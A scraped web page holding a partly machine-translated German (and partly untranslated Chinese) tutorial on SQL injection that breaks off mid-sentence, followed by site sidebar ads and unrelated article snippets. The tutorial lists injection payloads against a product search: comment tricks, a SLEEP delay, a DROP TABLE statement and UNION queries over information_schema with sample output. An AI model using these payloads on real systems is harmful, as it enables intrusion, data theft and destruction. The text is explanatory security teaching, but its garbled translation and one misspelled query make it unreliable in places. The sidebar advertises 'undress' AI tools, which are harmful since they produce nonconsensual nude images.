Verstehen Sie schnell die Grundprinzipien der SQL-Injektion
Grundprinzipien der SQL-Injection
Die WEB-Technologie entwickelt sich mit jedem Tag weiter, das traditionelle Handwerk, SQL mit bloßen Händen zu buchstabieren, jedoch schon immer noch bei vielen Entwicklern beliebt. Denn im Vergleich zum Erlernen eines komplexen Satzes von ORM-Regeln ist die manuelle Ausführung bequemer und intuitiver. Normalerweise müssen Leute, die selbst SQL schreiben, gehört haben, dass SQL-Injection gefährlich ist, aber sie denken immer bei sich: Meine SQL-Anweisung ist so einfach, dass sie nicht injiziert werden kann.
Nehmen Sie sich 5 Minuten Zeit, um dieses vollständige Beispiel zu lesen, und wagen Sie von nun an kein Risiko mehr.
Einfaches Szenario
Es gibt eine WEB-Schnittstelle, die die Eingabe von Produktnamen ermöglicht und entsprechende Informationen zu Preis, Produktionsdatum und Produktionsstandort anzeigt. Geben Sie beispielsweise „Hammer“ ein, um Folgendes anzuzeigen:
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
Wir überspringen den Prozess der Erstellung einer Websuchoberfläche und konzentrieren uns direkt auf den wichtigsten Teil: SQL-Injection.
Wenn Sie die obige Funktion implementieren möchten, können wir ungefähr davon ausgehen, dass die vom Server verwendete SQL-Anweisung wie folgt lautet:
SELECT ? FROM ? WHERE ? LIKE '%Hammer%';
wobei ? bedeutet, dass wir die spezifischen Informationen derzeit nicht kennen Tabellenname und Feldname, und diese SQL ist eindeutig. Was manipuliert werden kann, ist der Eingabeinhalt in einfachen Anführungszeichen „%Hammer%“. Wenn wir direkt ein einfaches Anführungszeichen in das Suchfeld eingeben. Das heißt, es wird zu
select ? from ? where ? Like '%'%';
. Dieses Zusammenfügen führt zu einem SQL-Syntaxfehler und es werden keine Ergebnisse erhalten. Wir müssen --
verwenden, um das letzte einfache Anführungszeichen auszukommentieren. Auf
select ? from ? where ? Like '%'; -- %';
--
folgt der Kommentarinhalt (Sie können auch #
verwenden), damit Sie alle Produktinformationen erhalten. Bisher gibt es noch kein Gefahrensignal.
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
Paring Knife | 10.98 | China | 2019.11.11 |
Boning Knife | 19.98 | China | 2019.01.01 |
Probieren Sie es aus und
Behalten Sie den erweiterbaren Teil mit einfachen Anführungszeichen im vorherigen Schritt bei. Versuchen wir es mit einer einfachen Verzögerungsanweisung:
select ? from ? where ? Like '%Hammer%' and 1 = SLEEP(2); -- %';
Zu diesem Zeitpunkt dauert es 2 Sekunden, bis die Abfrage das Ergebnis zurückgibt. Wenn die Zeit verlängert wird, verwenden Sie das Skript, um mehrmals abzufragen, und der Datenbankverbindungspool kann sein in einem Rutsch wiederhergestellt.
Natürlich gibt es noch zerstörerischere!
select ? from ? where ? Like '%Hammer%'; drop table xxxx; -- %';
Sie können die Tabelle/Datenbank direkt löschen. Wie erfahren Sie, welche Tabellen sich in der Datenbank befinden (d. h. wie ermitteln Sie xxxx im vorherigen SQL-Satz)?
Machen Sie mit Union, was Sie wollen
Wir müssen wissen, welche Tabellen diese Datenbank hat! Nur so können Sie nützliche Informationen erhalten.
Mit Union können Sie die Inhalte verschiedener Tabellen zusammenfügen. Probieren Sie es aus:
select ?,?,?,? from ? where ? Like '%Hammer%' UNION (select 1,2,3,4 from dual); -- %';
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
1 | 2 | 3 | 4 |
可以看到我们把假数据1,2,3,4成功地拼接到搜索结果中。
Mysql系统自带的信息都存在information_schema数据库中。我们试着在里面找找有用的信息。
select ? from ? where ? Like '%Hammer%' UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %';
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
authors | hawkeye | 3 | 4 |
products | hawkeye | 3 | 4 |
user | hawkeye | 3 | 4 |
.... | .... | 3 | 4 |
现在知道了这些数据库名和表名,所有人都对它为所欲为了!(包括上面执行的DROP)。
看着列表一猜就能知道我们目前查的是products表,接下来我们再把products具体的字段也挖出来。
select ? from ? where ? Like '%Hammer%' UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name = 'products'); -- %';
产品 | 价格 | 生产地 | 生产日期 |
---|---|---|---|
Claw Hammer | 12.98 | American | 2019.11.07 |
Club Hammer | 29.98 | Canada | 2019.11.11 |
id | hawkeye | 3 | 4 |
name | hawkeye | 3 | 4 |
price | hawkeye | 3 | 4 |
address | hawkeye | 3 | 4 |
updated_at | hawkeye | 3 | 4 |
所以,通过上面2步,我们知道了表名和字段名,那么查询API的完整SQL应该是(把上面的?都补全啦):
select name,price,address,updated_at from products where name like '%Hammer%';
通过不断重复以上几个步骤,你就可以通过这一个小小的入口把数据库的所有信息(比如上面发现的user表
Das obige ist der detaillierte Inhalt vonVerstehen Sie schnell die Grundprinzipien der SQL-Injektion. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Heiße KI -Werkzeuge

Undresser.AI Undress
KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover
Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool
Ausziehbilder kostenlos

Clothoff.io
KI-Kleiderentferner

AI Hentai Generator
Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

Heiße Werkzeuge

Notepad++7.3.1
Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version
Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1
Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6
Visuelle Webentwicklungstools

SublimeText3 Mac-Version
Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Heiße Themen



Analyse der Rolle und des Prinzips von nohup In Unix und Unix-ähnlichen Betriebssystemen ist nohup ein häufig verwendeter Befehl, mit dem Befehle im Hintergrund ausgeführt werden können. Selbst wenn der Benutzer die aktuelle Sitzung verlässt oder das Terminalfenster schließt, kann der Befehl ausgeführt werden werden weiterhin ausgeführt. In diesem Artikel werden wir die Funktion und das Prinzip des Nohup-Befehls im Detail analysieren. 1. Die Rolle von Nohup: Befehle im Hintergrund ausführen: Mit dem Befehl Nohup können wir Befehle mit langer Laufzeit weiterhin im Hintergrund ausführen lassen, ohne dass dies dadurch beeinträchtigt wird, dass der Benutzer die Terminalsitzung verlässt. Dies muss ausgeführt werden

Prinzipielle Analyse und praktische Erkundung des Struts-Frameworks. Als häufig verwendetes MVC-Framework in der JavaWeb-Entwicklung verfügt das Struts-Framework über gute Entwurfsmuster und Skalierbarkeit und wird häufig in der Anwendungsentwicklung auf Unternehmensebene verwendet. In diesem Artikel werden die Prinzipien des Struts-Frameworks analysiert und anhand tatsächlicher Codebeispiele untersucht, um den Lesern zu helfen, das Framework besser zu verstehen und anzuwenden. 1. Analyse der Prinzipien des Struts-Frameworks 1. MVC-Architektur Das Struts-Framework basiert auf MVC (Model-View-Con

MyBatis ist ein beliebtes Java-Persistenzschicht-Framework, das in verschiedenen Java-Projekten häufig verwendet wird. Unter diesen ist das Einfügen von Stapeln ein häufiger Vorgang, der die Leistung von Datenbankvorgängen effektiv verbessern kann. In diesem Artikel wird das Implementierungsprinzip von Batch Insert in MyBatis eingehend untersucht und anhand spezifischer Codebeispiele detailliert analysiert. Batch-Einfügung in MyBatis In MyBatis werden Batch-Einfügungsvorgänge normalerweise mit dynamischem SQL implementiert. Durch Konstruieren eines S, das mehrere eingefügte Werte enthält

Das RPM-Tool (RedHatPackageManager) in Linux-Systemen ist ein leistungsstarkes Tool zum Installieren, Aktualisieren, Deinstallieren und Verwalten von Systemsoftwarepaketen. Es ist ein häufig verwendetes Tool zur Verwaltung von Softwarepaketen in RedHatLinux-Systemen und wird auch von vielen anderen Linux-Distributionen verwendet. Die Rolle des RPM-Tools ist sehr wichtig. Es ermöglicht Systemadministratoren und Benutzern die einfache Verwaltung von Softwarepaketen auf dem System. Über RPM können Benutzer problemlos neue Softwarepakete installieren und vorhandene Software aktualisieren

MyBatis ist ein hervorragendes Persistenzschicht-Framework, das Datenbankoperationen basierend auf XML und Anmerkungen unterstützt. Es ist einfach und benutzerfreundlich und bietet außerdem einen umfangreichen Plug-In-Mechanismus. Unter diesen ist das Paging-Plugin eines der am häufigsten verwendeten Plug-Ins. Dieser Artikel befasst sich mit den Prinzipien des MyBatis-Paging-Plug-Ins und veranschaulicht es anhand konkreter Codebeispiele. 1. Paging-Plug-In-Prinzip MyBatis selbst bietet keine native Paging-Funktion, Sie können jedoch Plug-Ins verwenden, um Paging-Abfragen zu implementieren. Das Prinzip des Paging-Plug-Ins besteht hauptsächlich darin, MyBatis abzufangen

Hinweise zur Laravel-Entwicklung: Methoden und Techniken zur Verhinderung von SQL-Injection Mit der Entwicklung des Internets und der kontinuierlichen Weiterentwicklung der Computertechnologie ist die Entwicklung von Webanwendungen immer häufiger geworden. Während des Entwicklungsprozesses war Sicherheit schon immer ein wichtiges Thema, das Entwickler nicht ignorieren können. Unter anderem ist die Verhinderung von SQL-Injection-Angriffen eines der Sicherheitsprobleme, das während des Entwicklungsprozesses besondere Aufmerksamkeit erfordert. In diesem Artikel werden verschiedene Methoden und Techniken vorgestellt, die häufig in der Laravel-Entwicklung verwendet werden, um Entwicklern dabei zu helfen, SQL-Injection wirksam zu verhindern. Parameterbindung verwenden Die Parameterbindung ist Lar

Der Befehl chage im Linux-System ist ein Befehl zum Ändern des Kennwortablaufdatums eines Benutzerkontos. Er kann auch zum Ändern des längsten und kürzesten nutzbaren Datums des Kontos verwendet werden. Dieser Befehl spielt eine sehr wichtige Rolle bei der Verwaltung der Benutzerkontosicherheit. Er kann die Nutzungsdauer von Benutzerkennwörtern effektiv steuern und die Systemsicherheit verbessern. So verwenden Sie den Befehl chage: Die grundlegende Syntax des Befehls chage lautet: chage [Option] Benutzername. Um beispielsweise das Ablaufdatum des Kennworts des Benutzers „testuser“ zu ändern, können Sie den folgenden Befehl verwenden

Die Grundprinzipien und Implementierungsmethoden der Golang-Vererbungsmethoden In Golang ist die Vererbung eines der wichtigen Merkmale der objektorientierten Programmierung. Durch Vererbung können wir die Eigenschaften und Methoden der übergeordneten Klasse verwenden, um die Wiederverwendung und Erweiterbarkeit von Code zu erreichen. In diesem Artikel werden die Grundprinzipien und Implementierungsmethoden der Golang-Vererbungsmethode vorgestellt und spezifische Codebeispiele bereitgestellt. Das Grundprinzip der Vererbungsmethoden In Golang wird die Vererbung durch die Einbettung von Strukturen implementiert. Wenn eine Struktur in eine andere Struktur eingebettet ist, ist die eingebettete Struktur eingebettet
